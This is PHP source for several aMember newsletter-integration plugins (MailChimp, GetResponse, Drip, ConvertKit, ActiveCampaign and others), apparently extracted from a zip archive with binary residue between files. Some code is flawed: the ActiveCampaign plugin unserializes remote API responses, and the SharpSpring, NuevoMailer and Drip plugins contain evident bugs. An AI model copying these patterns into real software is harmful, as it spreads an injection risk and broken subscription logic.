$deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) { $ret = $api->sendRequest("lists/$list_id/members/" . md5(strtolower($user->email)), array( 'status' => $this->getConfig('disable_double_optin') ? 'subscribed' : 'pending', 'status_if_new' => $this->getConfig('disable_double_optin') ? 'subscribed' : 'pending', 'email_address' => $user->email, 'merge_fields' => array( 'FNAME' => $user->name_f, 'LNAME' => $user->name_l, 'LOGIN' => $user->login, ), ), Am_HttpRequest::METHOD_PUT); if (!$ret) return false; } foreach ($deleteLists as $list_id) { $ret = $api->sendRequest("lists/$list_id/members/" . md5(strtolower($user->email)), array( 'status' => 'unsubscribed', 'status_if_new' => 'unsubscribed', 'email_address' => $user->email, ), Am_HttpRequest::METHOD_PUT); if (!$ret) return false; } return true; } public function getLists() { $api = $this->getApi(); $ret = array(); $lists = $api->sendRequest('lists', array('count' => '1000')); foreach ($lists['lists'] as $l) $ret[$l['id']] = array( 'title' => $l['name'], ); return $ret; } public function getReadme() { return <<www.mailchimp.com -> Account -> API Keys and Authorized Apps - if no "API Keys" exists, click "Add A Key" button - copy "API Key" value and insert it into aMember MailChimp plugin settings (this page) and click "Save" - go to aMember CP -> Protect Content -> Newsletters, you will be able to define who and how can subscribe to your MailChimp lists. You can create lists in MailChimp Website CUT; } } class Am_Mailchimp_Api extends Am_HttpRequest { /** @var Am_Plugin_Mailchimp */ protected $plugin; protected $vars = array(); // url params protected $params = array(); // request params public function __construct(Am_Newsletter_Plugin_Mailchimp $plugin) { $this->plugin = $plugin; parent::__construct(); } public function sendRequest($path, $params = array(), $method = self::METHOD_GET) { list($_, $server) = explode('-', $this->plugin->getConfig('api_key'), 2); $server = filterId($server); if (empty($server)) throw new Am_Exception_Configuration("Wrong API Key set for MailChimp"); $url = "https://{$server}.api.mailchimp.com/3.0/".$path; $this->setMethod($method == self::METHOD_GET ? self::METHOD_GET : self::METHOD_POST); if(!in_array($method, array(self::METHOD_POST, self::METHOD_GET))){ $this->setHeader('X-HTTP-Method-Override', $method); } $this->setAuth('anystring', $this->plugin->getConfig('api_key')); $this->setHeader('Content-Type', 'application/json'); if($method == self::METHOD_GET) $this->setUrl($url . '?' . http_build_query($params)); else { $this->setUrl($url); if($params) $this->setBody(json_encode($params)); } $ret = parent::send(); if ($ret->getStatus() != '200') { throw new Am_Exception_InternalError("MailChimp API Error, status : ".$ret->getStatus().' url : '.$url); } $arr = json_decode($ret->getBody(), true); if (!$arr) throw new Am_Exception_InternalError("MailChimp API Error - unknown response [" . $ret->getBody() . "]"); if(isset($arr['error'])) { Am_Di::getInstance()->errorLogTable->log("MailChimp API Error - [" . $arr['error'] ."]"); return false; } return $arr; } } PKq\xKKget-response.phpnu[addPassword('api_key', array('class' => 'el-wide')) ->setLabel("API Key\n" . 'You can get your API Key here') ->addRule('required'); $form->addAdvCheckbox('360', array('id' => 'get-response-360')) ->setLabel('I have GetResponse360 Account'); $form->addText('api_url', array('class' => 'el-wide row-required', 'id' => 'get-response-360-url')) ->setLabel("API URL\n" . "contact your GetResponse360 account manager to get API URL"); $form->addScript() ->setScript(<<addRule('callback', 'API URL is required for GetResponse360 account', function($v) { return !($v['newsletter.get-response.360'] && !$v['newsletter.get-response.api_url']); }); } function isConfigured() { return (bool)$this->getConfig('api_key'); } /** @return Am_Plugin_GetResponse */ function getApi() { $endpoint = $this->getConfig('360') ? $this->getConfig('api_url') : self::ENDPOINT; return new Am_GetResponse_Api($this->getConfig('api_key'), $endpoint); } function changeEmail(User $user, $oldEmail, $newEmail) { $lists = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $campaigns = array(); foreach($lists as $v){ $list = $this->getDi()->newsletterListTable->load($v); $campaigns[] = $list->plugin_list_id; } $user->email = $oldEmail; $this->changeSubscription($user, array(), $campaigns); $user->email = $newEmail; $this->changeSubscription($user, $campaigns, array()); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) { try{ $api->call('add_contact', array( 'campaign' => $list_id, 'name' => $user->getName() ? $user->getName() : $user->login, 'email' => $user->email, 'cycle_day' => 0, 'ip' => filter_var($user->remote_addr, FILTER_VALIDATE_IP, array('flags'=>FILTER_FLAG_IPV4)) ? $user->remote_addr : (filter_var($_SERVER['REMOTE_ADDR'], FILTER_VALIDATE_IP, array('flags'=>FILTER_FLAG_IPV4)) ? $_SERVER['REMOTE_ADDR'] : '127.0.0.1') )); } catch(Am_Exception_InternalError $e) { if( (strpos($e->getMessage(), 'Contact already added to target campaign')=== false) && (strpos($e->getMessage(), 'Contact already queued for target campaign')===false) ) throw $e; } } if (!empty($deleteLists)) { $res = $api->call('get_contacts', array( "campaigns" => $deleteLists, 'email' => array( 'EQUALS' => $user->email ) )); foreach ($res as $id => $contact) { $api->call('delete_contact', array( 'contact' => $id )); } } return true; } public function getLists() { $api = $this->getApi(); $ret = array(); $lists = $api->call('get_campaigns'); foreach ($lists as $id => $l) $ret[$id] = array( 'title' => $l['name'], ); return $ret; } public function getReadme() { return <<app.getresponse.com/my_api_key.html - copy "API Key" value and insert it into aMember GetResponse plugin settings (this page) and click "Save" - go to aMember CP -> Protect Content -> Newsletters, you will be able to define who and how can subscribe to your GetResponse lists. You can create lists in GetResponse Website CUT; } } class Am_GetResponse_Api extends Am_HttpRequest { protected $api_key = null, $endpoint = null; protected $lastId = 1; public function __construct($api_key, $endpoint) { $this->api_key = $api_key; $this->endpoint = $endpoint; parent::__construct($this->endpoint, self::METHOD_POST); } public function call($method, $params = null) { $this->setBody(json_encode($this->prepCall($method, $params))); $this->setHeader('Expect', ''); $ret = parent::send(); if ($ret->getStatus() != '200') throw new Am_Exception_InternalError("GetResponse API Error, is configured API Key is wrong"); $arr = json_decode($ret->getBody(), true); if (!$arr) throw new Am_Exception_InternalError("GetResponse API Error - unknown response [" . $ret->getBody() . "]"); if (isset($arr['error'])) throw new Am_Exception_InternalError("GetResponse API Error - {$arr['error']['code']} : {$arr['error']['message']}"); return $arr['result']; } protected function prepCall($method, $params = null) { $p = array($this->api_key); if (!is_null($params)) array_push($p, $params); $call = array( 'jsonrpc' => '2.0', 'method' => $method, 'params' => $p, 'id' => $this->lastId++ ); return $call; } }PKq\l getdrip.phpnu[addInteger('account_id') ->setLabel('Your Account ID') ->addRule('required'); $form->addPassword('api_token') ->setLabel('API Token') ->addRule('required'); $form->addAdvCheckbox('double_optin') ->setLabel("Don't sent confirmation email?"); } function getApi() { return new Am_Getdrip_Api($this); } function isConfigured() { return (bool) ($this->getConfig('account_id') && $this->getConfig('api_token')); } public function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { $user = $event->getUser(); $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); if(empty($list_ids)) return; $oldUser = $event->getOldUser(); if($user->getName() != $oldUser->getName || $user->email != $oldUser->email) { $this->getApi()->update($user, $oldUser); } } public function onUserAfterDelete(Am_Event_UserAfterDelete $event) { $user = $event->getUser(); $this->getApi()->delete($user); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) { if (!$api->subscribe($user, $list_id)) { return false; } $user->data()->set('getdrip-subscriber', 1)->update(); } foreach ($deleteLists as $list_id) { if (!$api->unsubscribe($user, $list_id)) { return false; } } return true; } public function getLists() { $res = $this->getApi()->getCampaignsList(); $ret = array(); foreach ($res['campaigns'] as $c) { $ret[$c['id']] = array('title' => $c['name']); } return $ret; } public function getReadme() { return << Settings -> Site Setup -> 3rd-Party Integrations Find you 'API Token ' at your getdrip account -> Settings -> My User Settings CUT; } } class Am_Getdrip_Api extends Am_HttpRequest { /** @var $plugin Am_Newsletter_Plugin_Getdrip */ protected $plugin; const API_URL = 'https://api.getdrip.com/v2/'; protected $vars = array(); // url params protected $params = array(); // request params public function __construct(Am_Newsletter_Plugin_Getdrip $plugin) { $this->plugin = $plugin; parent::__construct(); $this->setAuth($plugin->getConfig('api_token')); } public function getCampaignsList() { $this->setMethod(self::METHOD_GET); $this->setUrl(self::API_URL . $this->plugin->getConfig('account_id') . "/campaigns?status=active"); $ret = parent::send(); $arr = json_decode($ret->getBody(), true); if (!$arr) { $this->plugin->getDi()->errorLogTable->log("Getdrip API Error - unknown response [" . $ret->getBody() . "]"); return array(); } if(!empty($arr['errors'])) { $this->plugin->getDi()->errorLogTable->log( "Getdrip API Error - status #[{$ret->getStatus()}]; response [" . $ret->getBody() . "]"); return array(); } return $arr; } public function subscribe(User $user, $cId) { $this->setMethod(self::METHOD_POST); $this->setHeader("Content-Type: application/vnd.api+json"); $this->setUrl(self::API_URL . $this->plugin->getConfig('account_id'). "/campaigns/$cId/subscribers"); $data = array('subscribers' => array(array( 'email' => $user->email, 'user_id' => $user->pk(), 'double_optin' => !$this->plugin->getConfig('double_optin'), 'custom_fields' => array( 'name' => $user->getName() ), ))); $this->setBody(json_encode($data)); $ret = parent::send(); $arr = json_decode($ret->getBody(), true); if (!$arr) { $this->plugin->getDi()->errorLogTable->log("Getdrip API Error - unknown response [" . $ret->getBody() . "]"); return false; } if(!empty($arr['errors'])) { foreach ($arr['errors'] as $err) if($err['message'] == 'Email is already subscribed') return true; $this->plugin->getDi()->errorLogTable->log( "Getdrip API Error - status #[{$ret->getStatus()}]; response [" . $ret->getBody() . "]"); return false; } return true; } public function unsubscribe(User $user, $cId) { $this->setMethod(self::METHOD_POST); $this->setHeader("Content-Type: application/vnd.api+json"); $this->setUrl(self::API_URL . $this->plugin->getConfig('account_id'). "/subscribers/{$user->email}/unsubscribe"); $data = array('campaign_id' => $cId); $this->setBody(json_encode($data)); $ret = parent::send(); $arr = json_decode($ret->getBody(), true); if (!$arr) { $this->plugin->getDi()->errorLogTable->log("Getdrip API Error - unknown response [" . $ret->getBody() . "]"); return false; } if(!empty($arr['errors'])) { $this->plugin->getDi()->errorLogTable->log( "Getdrip API Error - status #[{$ret->getStatus()}]; response [" . $ret->getBody() . "]"); return false; } return true; } public function update(User $user, User $oldUser) { $this->setMethod(self::METHOD_POST); $this->setHeader("Content-Type: application/vnd.api+json"); $this->setUrl(self::API_URL . $this->plugin->getConfig('account_id') . "/subscribers/"); $data = array( 'email' => $oldUser->email, 'user_id' => $user->pk(), 'double_optin' => !$this->plugin->getConfig('double_optin'), 'custom_fields' => array( 'name' => $user->getName() ), ); if($user->email != $oldUser->email) $data['new_email'] = $user->email; $this->setBody(json_encode(array('subscribers' => array($data)))); $ret = parent::send(); $arr = json_decode($ret->getBody(), true); if (!$arr) { $this->plugin->getDi()->errorLogTable->log("Getdrip API Error - unknown response [" . $ret->getBody() . "]"); return; } if(!empty($arr['errors'])) { $this->plugin->getDi()->errorLogTable->log( "Getdrip API Error - status #[{$ret->getStatus()}]; response [" . $ret->getBody() . "]"); return; } } public function delete(User $user) { $this->setMethod(self::METHOD_DELETE); $this->setHeader("Content-Type: application/vnd.api+json"); $this->setUrl(self::API_URL . $this->plugin->getConfig('account_id') . "/subscribers/{$user->email}"); $ret = parent::send(); if (!in_array($ret->getStatus(), array(204, 404))) { $this->plugin->getDi()->errorLogTable->log("Getdrip API Error - unknown response [" . $ret->getStatus() . "]"); } } } PKq\i؜convertkit.phpnu[addText('api_key', array('size' => 30)) ->setLabel('Convertkit API Key') ->addRule('required'); $form->addText('api_secret', array('size' => 50)) ->setLabel('Convertkit API Secret') ->addRule('required'); } /** @return Am_Newsletter_Plugin_Convertkit */ protected function getApi() { return new Am_Convertkit_Api($this); } public function isConfigured() { return (bool) $this->getConfig('api_key') && $this->getConfig('api_secret'); } public function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { $user = $event->getUser(); if(!($subscriberId = $user->data()->get(self::CK_SUBSCRIBER_ID))) { return; } $oldUser = $event->getOldUser(); $vars = array(); if($user->email != $oldUser->email) $vars['email_address'] = $user->email; if($user->name_f != $oldUser->name_f) $vars['first_name'] = $user->name_f; if(!empty($vars)) { $vars['state'] = 'active'; $this->getApi()->update($subscriberId, $vars); } } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); if(!empty($deleteLists)) { $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ( $list->plugin_id == $this->getId() && !in_array($list->plugin_list_id, $addLists) && !in_array($list->plugin_list_id, $deleteLists) ) { $addLists[] = $list->plugin_list_id; } } if (!$api->unsubscribe($user->email)) return false; } foreach ($addLists as $list_id) { $ret = $api->subscribe($list_id, $user->email, $user->name_f); if (!$ret) { return false; } if(!$user->data()->get(self::CK_SUBSCRIBER_ID)) $user->data()->set(self::CK_SUBSCRIBER_ID, $this->getSubscriberId($user->email))->update(); } return true; } protected function getSubscriberId($email) { $api = $this->getApi(); if(!($ret = $api->getSubscriberList(array('from' => sqlDate(strtotime('-5 minutes')))))) return; foreach ($ret['subscribers'] as $subscriber) { if($email == $subscriber['email_address']) { return $subscriber['id']; } } } public function getLists() { $res = $this->getApi()->getFormsList(); $ret = array(); foreach ($res['forms'] as $f) { $ret[$f['id']] = array('title' => $f['name']); } return $ret; } public function getReadme() { return <<app.convertkit.com/users/login -> Account - copy "API Key" value and insert it into aMember ConvertKit plugin settings (this page) - click 'Show' at 'API Secret', copy value and insert it into aMember ConvertKit plugin settings (this page) - click "Save" - go to 'aMember CP -> Protect Content -> Newsletters', you will be able to define who and how can subscribe to your ConvertKit forms. You can create forms in ConvertKit Website CUT; } } class Am_Convertkit_Api extends Am_HttpRequest { /** @var $plugin Am_Newsletter_Plugin_Convertkit */ protected $plugin; const API_URL = 'https://api.convertkit.com/v3/'; protected $vars = array(); // url params protected $params = array(); // request params public function __construct(Am_Newsletter_Plugin_Convertkit $plugin) { $this->plugin = $plugin; parent::__construct(); } public function send() { $ret = parent::send(); if (!in_array($ret->getStatus(), array(200, 201))) { $this->plugin->getDi()->errorLogTable->log("Convertkit API Error - wrong status [{$ret->getStatus()}]; response [" . $ret->getBody() . "]"); return false; } $arr = json_decode($ret->getBody(), true); if (!$arr) { $this->plugin->getDi()->errorLogTable->log("Convertkit API Error - unknown response [" . $ret->getBody() . "]"); return false; } return $arr; } public function sendPut($url, $vars) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'PUT'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array("Content-Type: application/json")); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($vars)); $resp = curl_exec($ch); curl_close($ch); if (!$resp) { $this->plugin->getDi()->errorLogTable->log("Convertkit API Error - null response"); return false; } $arr = json_decode($resp, true); if (!$arr) { $this->plugin->getDi()->errorLogTable->log("Convertkit API Error - unknown response [$resp]"); return false; } return $arr; } public function getFormsList() { $this->setMethod(self::METHOD_GET); $this->setUrl(self::API_URL . "forms?api_key=" . $this->plugin->getConfig('api_key')); return $this->send(); } public function getSubscriberList($vars = array()) { $this->setMethod(self::METHOD_GET); $vars['api_secret'] = $this->plugin->getConfig('api_secret'); $this->setUrl(self::API_URL . "subscribers?" . http_build_query($vars, '', '&')); return $this->send(); } public function getSubscriber($subscriberId) { $this->setMethod(self::METHOD_GET); $vars['api_secret'] = $this->plugin->getConfig('api_secret'); $this->setUrl(self::API_URL . "subscribers/$subscriberId/?" . http_build_query($vars, '', '&')); return $this->send(); } public function subscribe($fId, $email, $fName) { $this->setMethod(self::METHOD_POST); $this->setUrl(self::API_URL . "forms/$fId/subscribe?api_key=" . $this->plugin->getConfig('api_key')); $this->addPostParameter(array( 'email' => $email, 'name' => $fName, 'state' => 'active', )); return $this->send(); } public function unsubscribe($email) { return $this->sendPut(self::API_URL . "unsubscribe?api_secret=" . $this->plugin->getConfig('api_secret'), array('email' => $email)); } public function update($subscriberId, $vars) { return $this->sendPut(self::API_URL . "subscribers/$subscriberId?api_secret=" . $this->plugin->getConfig('api_secret'), $vars); } }PKq\M:sharp-spring.phpnu[addText('account_id')->setLabel('Your Account ID'); $form->addText('secret_key')->setLabel('Secret Key'); } function isConfigured() { return $this->getConfig('account_id') && $this->getConfig('secret_key'); } function findLead(User $user) { $req = $this->apiRequest(array( 'method' => 'getLeads', 'params' => array( 'where' => array('emailAddress' => $user->email) ), )); $lead = @$req->result->lead[0]; return $lead; } function changeEmail(\User $user, $oldEmail, $newEmail) { $lead = $this->findLead($user); $req = $this->apiRequest( array( 'method' => 'updateLeads', 'params' => array( 'objects' => array( array( 'id' => $lead->id, 'emailAddress' => $user->email ) ) ), ) ); } public function changeSubscription(\User $user, array $addLists, array $deleteLists) { $lead = $this->findLead($user); if (!$lead) { $req = $this->apiRequest( array( 'method' => 'createLeads', 'params' => array( 'objects' => array( array( 'firstName' => $user->name_f, 'lastName' => $user->name_l, 'emailAddress' => $user->email ) ) ), ) ); $lead = stdClass; $lead->id = $req->result->creates[0]->id; } foreach ($addLists as $l) { $req = $this->apiRequest( array( 'method' => 'addListMember', 'params' => array( 'listID' => $l, 'memberID' => $lead->id ) ) ); } foreach ($deleteLists as $l) { $req = $this->apiRequest( array( 'method' => 'removeListMember', 'params' => array( 'listID' => $l, 'contactID' => $lead->id ) ) ); } return true; } function getLists() { $data = $this->apiRequest( array( 'method' => 'getActiveLists', 'params' => array('where' => array()), ) ); $lists = array(); foreach (@$data->result->activeList as $list) { $lists[$list->id] = array('title' => $list->name); } return $lists; } function apiRequest(array $data) { $req = new Am_HttpRequest(self::URL . "?" . http_build_query( array( 'accountID' => $this->getConfig('account_id'), 'secretKey' => $this->getConfig('secret_key') ) ), Am_HttpRequest::METHOD_POST); $data['id'] = $this->getDi()->security->randomString(32); $data = json_encode($data); $req->setHeader(array( "Content-Type" => "application/json", 'Expect' => '' )); $req->setBody($data); $resp = $req->send(); if ($resp->getStatus() != 200) throw Am_Exception_InternalError('SharpSpring: incorrect response code received: ' . $resp->getStatus()); $resp = json_decode($resp->getBody()); if (@$resp->error[0]->message) throw new Am_Exception_InternalError("SharpSpring Error: " . $resp->error[0]->message . " Payload: " . $data); return $resp; } } PKq\ nuevomailer.phpnu[addText('install_url')->setLabel(___('NuevoMailer installation URL')); $form->addText('api_key')->setLabel(___('API Key')); $form->addAdvCheckbox('api_send_email')->setLabel(___('Send opt-in/out emails')); $form->addAdvCheckbox('double_optin')->setLabel(___('Enable double opt-in')); } public function changeSubscription(\User $user, array $addLists, array $deleteLists) { if(!empty($addLists)) { $req = new Am_HttpRequest($this->getConfig('install_url').'/subscriber/optIn.php', Am_HttpRequest::METHOD_POST); foreach(array( 'api_action' => 'add', 'api_key' => $this->getConfig('api_key'), 'api_send_email' => $this->getConfig('api_send_email')? 'yes' : 'no', 'email' => $user->email, 'double_optin' => $this->getConfig('double_optin', 0), 'lists' => implode(',',$addLists) ) as $k=>$v) { $req->addPostParameter($k, $v); } $req->send(); } if(!empty($deleteLists)) { $req = new Am_HttpRequest($this->getConfig('install_url').'/subscriber/optOut.php', Am_HttpRequest::METHOD_POST); foreach(array( 'api_action' => 'remove', 'api_key' => $this->getConfig('api_key'), 'api_send_email' => $this->getConfig('api_send_email')? 'yes' : 'no', 'email' => $user->email, 'opt_out_type' => 1, 'lists' => implode(',',$addLists) ) as $k=>$v) { $req->addPostParameter($k, $v); } $req->send(); } return true; } function getLists(){ $ret = array(); $req = new Am_HttpRequest($this->getConfig('install_url').'inc/getLists.php?api_key='.$this->getConfig('api_key')); try{ $resp = $req->send(); if($resp->getStatus() != 200) throw new Am_Exception_InternalError('Nuevomailer getLists api is not available!'); $lists = @json_decode($resp->getBody(), true); if(empty($lists)) throw new Am_Exception_InternalError('Unable to fetch lists from noevomailer'); }catch(Exception $e){ $this->getDi()->errorLogTable->logException($e); return $ret; } foreach($lists as $r){ $ret[$r['idList']] = array('title' => $r['listName']); } return $ret; } } PKq\+HV autopilot.phpnu[addText('api_key', array('class' => 'el-wide')) ->setLabel('Autopilot API Key') ->addRule('required'); $form->addAdvCheckbox('debug') ->setLabel("Debug mode\n" . 'log requests and responses'); } public function isConfigured() { return $this->getConfig('api_key'); } function getApi() { return new Am_Autopilot_Api($this); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); $isJustCreated = false; if(!($id = $user->data()->get(self::AUTOPILOT_ID))) { $contact = $api->sendRequest('contact/' . urlencode($user->email)); if($id = @$contact['contact_id']) { $user->data()->set(self::AUTOPILOT_ID, $id)->update(); } else { $contact = $api->sendRequest('contact', array('contact' => array( 'Email' => $user->email, 'FirstName' => $user->name_f, 'LastName' => $user->name_l, 'Phone' => $user->phone, 'MailingStreet' => $user->street, 'MailingCity' => $user->city, 'MailingState' => $user->state, 'MailingPostalCode' => $user->zip, 'MailingCountry' => $user->country, )), Am_HttpRequest::METHOD_POST); $id = @$contact['contact_id']; $user->data()->set(self::AUTOPILOT_ID, $id)->update(); $isJustCreated = true; } } foreach ($addLists as $list_id) { $api->sendRequest("list/$list_id/contact/$id", array(), Am_HttpRequest::METHOD_POST); } if (!$isJustCreated) { foreach ($deleteLists as $list_id) { $api->sendRequest("list/$list_id/contact/$id", array(), Am_HttpRequest::METHOD_DELETE); } } return true; } public function getLists() { $api = $this->getApi(); $res = $api->sendRequest('lists'); $lists = array(); foreach (array_shift($res) as $l) $lists[$l['list_id']] = array('title' => $l['title']); return $lists; } } class Am_Autopilot_Api extends Am_HttpRequest { const API_ENDPOINT = 'https://api2.autopilothq.com/v1/'; /** @var Am_Newsletter_Plugin_Autopilot */ protected $plugin; public function __construct(Am_Newsletter_Plugin_Autopilot $plugin) { $this->plugin = $plugin; parent::__construct(); } public function sendRequest($path, $params = array(), $method = self::METHOD_GET) { $this->setMethod($method); $this->setHeader(array( 'autopilotapikey: '.$this->plugin->getConfig('api_key'), 'Content-Type: application/json')); if($method == self::METHOD_GET) { $this->setUrl(self::API_ENDPOINT . $path); } else { $this->setUrl(self::API_ENDPOINT . $path); if($params) { $this->setBody(json_encode($params)); } } if($this->plugin->getConfig('debug')) { $this->plugin->getDi()->errorLogTable->log("Autopilot REQUEST : $method - ".$this->getUrl().' - '.$this->getBody()); } $ret = parent::send(); if ($ret->getStatus() == '404') { if ($this->plugin->getConfig('debug')) { $this->plugin->getDi()->errorLogTable->log('Autopilot RESPONSE : STATUS '.$ret->getStatus().' - '.$ret->getBody().' - header: '.var_export($ret->getHeader(),true)); } return array(); } if ($ret->getStatus() != '200') { if($this->plugin->getConfig('debug')) { $this->plugin->getDi()->errorLogTable->log('Autopilot RESPONSE : STATUS '.$ret->getStatus().' - '.$ret->getBody().' - header: '.var_export($ret->getHeader(),true)); } throw new Am_Exception_InternalError("Autopilot API Error, configured API Key is wrong"); } if($this->plugin->getConfig('debug')) { $this->plugin->getDi()->errorLogTable->log('Autopilot RESPONSE : '.$ret->getBody()); } return json_decode($ret->getBody(), true); } }PKq\`Ractivecampaign.phpnu[addAdvRadio('api_type') ->setLabel(___('Version of script')) ->loadOptions(array( '0' => ___('Downloaded on your own server'), '1' => ___('Hosted at Activecampaing\'s server'))); $form->addScript()->setScript(<<addText('api_url', array('class' => 'el-wide'))->setLabel('Activecampaign API url' . "\nit should be with http://"); $form->addText('api_key', array('class' => 'el-wide'))->setLabel('Activecampaign API Key'); $form->addText('api_user', array('class' => 'el-wide'))->setLabel('Activecampaign Admin Login'); $form->addPassword('api_password', array('class' => 'el-wide'))->setLabel('Activecampaign Admin Password'); $form->addAdvCheckbox('debug') ->setLabel("Debug logging\n" . 'Record debug information in the log'); } function isConfigured() { return ($this->getConfig('api_type') == 0 && $this->getConfig('api_user') && $this->getConfig('api_password')) || ($this->getConfig('api_type') == 1 && $this->getConfig('api_key')); } /** @return Am_Activecampaign_Api */ function getApi() { if (!isset($this->api)) $this->api = new Am_Activecampaign_Api($this); return $this->api; } public function changeSubscription(User $user, array $addLists, array $deleteLists, $update = false) { $api = $this->getApi(); $acuser = $api->sendRequest('contact_view_email', array('email' => $user->email), Am_HttpRequest::METHOD_GET); if ($acuser['id']) { $lists = array(); foreach ($addLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 1; } foreach ($deleteLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 2; } //user exists in ActiveCampaign $ret = $api->sendRequest('contact_edit', array_merge(array( 'id' => $acuser['subscriberid'], 'email' => $user->email, 'first_name' => $user->name_f, 'last_name' => $user->name_l, 'overwrite' => 0 ), $lists)); if (!$ret) return false; } else { if ($update) return; $lists = array(); foreach ($addLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 1; } foreach ($deleteLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 2; } //user does no exist in ActiveCampaign $ret = $api->sendRequest('contact_add', array_merge(array( 'email' => $user->email, 'first_name' => $user->name_f, 'last_name' => $user->name_l ), $lists)); if (!$ret) return false; } return true; } function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { $user = $event->getUser(); $this->changeSubscription($user, array(), array(), true); } public function getLists() { $api = $this->getApi(); $ret = array(); $lists = $api->sendRequest('list_list', array('ids' => 'all'), Am_HttpRequest::METHOD_GET); foreach ($lists as $l) { $ret[$l['id']] = array( 'title' => $l['name'], ); } return $ret; } public function getReadme() { return << Protect Content -> Newsletters, you will be able to define who and how can subscribe to your Activecampaign lists. CUT; } } class Am_Activecampaign_Api extends Am_HttpRequest { /** @var Am_Newsletter_Plugin */ protected $plugin; protected $vars = array(); // url params protected $params = array(); // request params public function __construct(Am_Newsletter_Plugin $plugin) { $this->plugin = $plugin; parent::__construct(); } public function sendRequest($api_action, $params, $method = self::METHOD_POST) { $this->setMethod($method); $this->setHeader('Expect', ''); $this->params = $params; if ($this->plugin->getConfig('api_type') == 0) { $this->vars['api_user'] = $this->plugin->getConfig('api_user'); $this->vars['api_pass'] = $this->plugin->getConfig('api_password'); } else { $this->vars['api_key'] = $this->plugin->getConfig('api_key'); } $this->vars['api_action'] = $api_action; $this->vars['api_output'] = 'serialize'; if ($method == self::METHOD_POST) { $this->addPostParameter(array_merge($this->vars, $this->params)); $url = $this->plugin->getConfig('api_url') . '/admin/api.php?api_action=' . $this->vars['api_action']; if($this->plugin->getConfig('debug')) Am_Di::getInstance()->errorLogTable->log("ACTIVECAMPAIGN POST REQUEST : $url". var_export($this->params, true)); } else { $url = $this->plugin->getConfig('api_url') . '/admin/api.php?' . http_build_query($this->vars + $this->params, '', '&'); if($this->plugin->getConfig('debug')) Am_Di::getInstance()->errorLogTable->log("ACTIVECAMPAIGN GET REQUEST : $url"); } $this->setUrl($url); $ret = parent::send(); if (!in_array($ret->getStatus(),array(200,404))) { throw new Am_Exception_InternalError("Activecampaign API Error, configured API Key is wrong"); } $arr = unserialize($ret->getBody()); if($this->plugin->getConfig('debug')) Am_Di::getInstance()->errorLogTable->log("ACTIVECAMPAIGN RESPONSE : ".var_export($arr, true)); if (!$arr) throw new Am_Exception_InternalError("Activecampaign API Error - unknown response [" . $ret->getBody() . "]"); if ($arr['result_code'] != 1) Am_Di::getInstance()->errorLogTable->log("Activecampaign API Error - code [" . $arr['result_code'] . "]response [" . $arr['result_message'] . "]"); unset($arr['result_code'], $arr['result_message'], $arr['result_output']); return $arr; } } PKq\G22 icontact.phpnu[addText('user', array('class' => 'el-wide')) ->setLabel('User name of icontact account') ->addRule('required'); $form->addText('apiappid', array('class' => 'el-wide')) ->setLabel('API AppId') ->addRule('required'); $form->addText('apipass', array('class' => 'el-wide')) ->setLabel('API Pass') ->addRule('required'); $form->addText('accountid', array('class' => 'el-wide')) ->setLabel('Your account ID') ->addRule('required') ->addRule('regex', ___('Digits only please'), '/^[0-9]+$/'); $form->addText('clientfolderid', array('class' => 'el-wide')) ->setLabel('Your client folder ID') ->addRule('required') ->addRule('regex', ___('Digits only please'), '/^[0-9]+$/'); $form->addAdvCheckbox('testmode') ->setLabel("Test mode\n" . 'Use sandbox.'); $form->addAdvCheckbox('debuglog') ->setLabel("Debug logging\n" . 'Record debug information in the log.'); } public function isConfigured() { return $this->getConfig('user'); } protected function getApi() { return new Am_Icontact_Api($this); } protected function getCurrentListsId(User $user) { $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[] = $list->plugin_list_id; } return $lists; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { /*###for better days $this->addSubscribe($user, $addLists); $this->delSubscribe($user, $deleteLists); return true; */ if (!empty($addLists) || !empty($deleteLists)) { $api = $this->getApi(); if (!empty($addLists)) { $post = array( array( 'email' => $user->email, 'firstName' => $user->name_f, 'lastName' => $user->name_l, 'status' => 'normal' ) ); $contactId = $api->addContactAndGetContactId($post); $post = array(); foreach ($addLists as $listId) { $post[] = array( 'contactId' => $contactId, 'listId' => $listId, 'status' => 'normal' ); } $api->addSubscription($post); } if (!empty($deleteLists)) { $contactId = $api->getContactId($user->email); if (!empty($contactId)) { $post = array(); foreach ($deleteLists as $listId) { $post[] = array( 'contactId' => $contactId, 'listId' => $listId, 'status' => 'unsubscribed' ); } $api->addSubscription($post); } } } return true; } public function changeEmail(User $user, $oldEmail, $newEmail) { $ef = $this->getConfig('email_field', 'email'); $lists = $this->getCurrentListsId($user); $user->set($ef, $oldEmail)->toggleFrozen(true); /*###for better days $this->delSubscribe($user, $lists, true); */ $this->changeSubscription($user, array(), $lists); $user->set($ef, $newEmail)->toggleFrozen(false); /*###for better days $this->addSubscribe($user, $lists); */ $this->changeSubscription($user, $lists, array()); } public function getLists() { return $this->getApi()->getLists(); } public function getReadme() { return <<Warning: Due to iContact's server limits there is 